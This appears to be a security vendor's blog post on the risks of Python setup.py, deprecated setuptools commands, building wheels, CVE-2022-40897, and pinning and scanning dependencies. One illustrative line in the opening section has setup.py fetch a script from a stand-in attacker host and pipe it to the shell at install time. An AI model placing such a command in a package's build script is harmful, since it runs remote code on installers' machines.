Safeguard
DevSecOps

Is Python setup.py Still Safe? Security Risks and the Move to Building Wheels

python setup.py executes arbitrary code at install time and its legacy commands are deprecated. Here is what that means for security and how to build a wheel the modern way.

Yukti Singhal
Platform Engineer
5 min read

A python setup.py file is executable Python code that runs on your machine during installation, which makes it both powerful and a genuine supply-chain risk. Understanding what python setup.py actually does (and why the Python community is steering everyone toward declarative metadata and prebuilt wheels) is the difference between installing packages safely and running unknown code as yourself.

For years setup.py was the entry point for building and installing Python packages. It is still everywhere, but the way you are meant to use it has changed, and several of its old habits are now considered unsafe or deprecated.

setup.py is code, not configuration

The core security fact is simple: setup.py is a Python script. When a tool builds or installs a package from source, it imports and executes that script with your user's permissions. A malicious or compromised package can run arbitrary code the moment you install it, before you ever import the library:

# setup.py can contain anything, including this
import os
os.system("curl https://evil.example/x | sh")  # runs at build/install time

This is why installing from an untrusted source (or a typosquatted package name) is dangerous in a way that a static config file is not. The code executes during pip install, not during your program's runtime, so "I never imported it" is no defense.

Prefer wheels over source builds

A wheel (.whl) is a prebuilt archive. Installing one copies files into place without executing a build script, which removes the arbitrary-code-at-install risk that source distributions carry. When you run pip install requests, pip prefers a wheel if one is published, and that is the safer path.

To build a wheel from your own project, do not call setup.py directly. Use the standardized PEP 517 build front-end:

python -m pip install build
python -m build            # produces dist/*.whl and dist/*.tar.gz

python -m build runs the build in an isolated environment and produces both a wheel and a source distribution. This is the modern replacement for the old python build wheel from setup.py invocation.

Legacy setup.py commands are deprecated

Directly invoking build and install commands through the script is on its way out:

python setup.py install      # deprecated, avoid
python setup.py bdist_wheel  # legacy, prefer python -m build
python setup.py develop      # prefer pip install -e .

setup.py install in particular is deprecated and slated for removal from setuptools; use pip install . instead. The reason is not only ergonomics: routing everything through pip and PEP 517 gives you dependency resolution, isolated builds, and consistent behavior that ad-hoc setup.py invocations skip.

The setuptools ReDoS: CVE-2022-40897

setuptools itself, the library that powers setup.py, had a notable flaw: CVE-2022-40897, a regular-expression denial-of-service in package_index.py. An inefficient regex could be driven into catastrophic backtracking by crafted HTML from a malicious package index page. It affects setuptools before 65.5.1, and upgrading to 65.5.1 or later fixes it. The maintainers noted the affected code path (package_index) is legacy and not reached by standard, recommended workflows, but many base images still ship an old setuptools, so pin a patched version:

python -m pip install --upgrade "setuptools>=65.5.1"

Move metadata to pyproject.toml

The direction of travel is declarative. Rather than computing dependencies and metadata inside setup.py at runtime, express them statically in pyproject.toml:

[build-system]
requires = ["setuptools>=65.5.1", "wheel"]
build-backend = "setuptools.build_meta"

[project]
name = "my-package"
version = "1.2.0"
dependencies = ["requests>=2.31.0"]

Static metadata is inspectable without executing anything, which is better for both reproducibility and security tooling. A scanner (or a curious auditor) can read your dependencies without running your build script.

Guarding the install step in practice

Because installing a source distribution runs code, the defenses are about controlling what you install:

  • Pin exact versions and hashes in a lockfile (pip install --require-hashes) so a tampered artifact fails verification.
  • Prefer wheels, and prefer installing from a trusted, internal index mirror rather than pulling arbitrary source builds from the public internet.
  • Scan your dependency tree so a package with a known-vulnerable setuptools or a malicious install script gets flagged. An SCA tool can surface these before they run in your build.

For the wider question of where install-time checks fit, our note on security in SDLC phases covers gating dependencies in CI.

FAQ

Is python setup.py safe to run?

It runs arbitrary Python code with your permissions, so it is only as safe as the package you are installing. Installing from a trusted, pinned source is fine; installing an unknown source distribution can execute malicious code at install time before you import anything.

How do I build a wheel from setup.py the modern way?

Install the build package and run python -m build. It produces a wheel and a source distribution in an isolated environment. Avoid calling python setup.py bdist_wheel directly, which is legacy.

Is setup.py install deprecated?

Yes. python setup.py install is deprecated and being removed from setuptools. Use pip install . for a normal install or pip install -e . for an editable/development install.

What is CVE-2022-40897 in setuptools?

It is a regular-expression denial-of-service (ReDoS) in setuptools' package_index.py, affecting versions before 65.5.1. Crafted HTML could trigger catastrophic regex backtracking. Upgrade setuptools to 65.5.1 or later to fix it.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.